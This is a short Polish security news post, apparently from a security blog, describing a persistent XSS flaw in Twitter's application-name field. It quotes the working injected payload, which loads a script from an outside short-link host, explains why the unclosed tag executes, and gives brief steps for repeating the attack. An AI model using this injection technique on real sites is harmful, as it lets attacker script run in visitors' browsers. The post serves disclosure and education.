Niebezpiecznik

Jeden z użytkownik Twittera zademonstrował na swoim profilu atak typu persistent XSS. Za błąd odpowiedzialny jest brak walidacji w polu zawierającym nazwę służacej do obsługi Twittera zewnętrznej aplikacji.

Jeśli ktoś odwiedzi profil 0wn3d_5ys (na własne ryzyko) najpierw dostaje po oczach klasycznymi okienkami dialogowymi z informacją o ataku XSS, a potem jego przeglądarka pokaże znane z filmu Matrixa znaczki.

0wn3d_5ys opisał szczegóły błędu na swoim blogu.

Persistent XSS — szczegóły błędu

Wstrzyknięty do pola “nazwa aplikacji” kod wygląda następująco:

<span>via <a href="http://www.0wn3d-5ys.co.cc" rel="nofollow">Ub­­&shy;erTw­i­&shy;tter<span
style="visibility: hidden"&gt; <script src='http://is.gd/cWO66' type='text/javascript'&gt;</script&gt;</a>
</span>

Jak można zauwazyć, brakuje zamknięcia nawiasu > w znaczniku zamykającym wstrzyknięty JavaScript (Twitter cośtam jednak filtruje i zamienia na encje). Jednak zaraz po tym znaczniku, w oryginalnym kodzie Twittera następuje ładowanie skryptu JS dla biblioteki jquery i dlatego zawartość wstrzykniętego, ale “niedomkniętego” skryptu się wykona.

Przeprowadź własny atak XSS

Aby przeprowadzić atak wystarczy zarejestrować swoją aplikację na Twitterze pod odpowiednią nazwą:

Formularz rejestracji aplikacji na Twitterze. XSS w polu z nazwą na skutek niepełnej walidacji danych wejściowych.

Po rejestracji aplikacji i dodaniu za jej pomocą wpisu na Twittera, jej nazwa pojawi się pod “twitnięciem”:

Wprowadzony w formularzu (powyżej) XSS znajdzie się tu

…i każdy kto wejdzie na stronę wykona stworzony przez atakującego skrypt. Czekamy na pierwszego robaka Twitterowego?

Przypomiamy, że właśnie tego typu ataki wykonujemy (i unicestwiamy) na szkoleniach z atakowania i ochrony webaplikacji — jest jeszcze kilka miejsc, zapraszamy do rejestracji :-)

Przeczytaj także:

• XSS na Twitterze (onmouseover)
• XSS w YouTube
• XSS w Google Calendar i Twitterze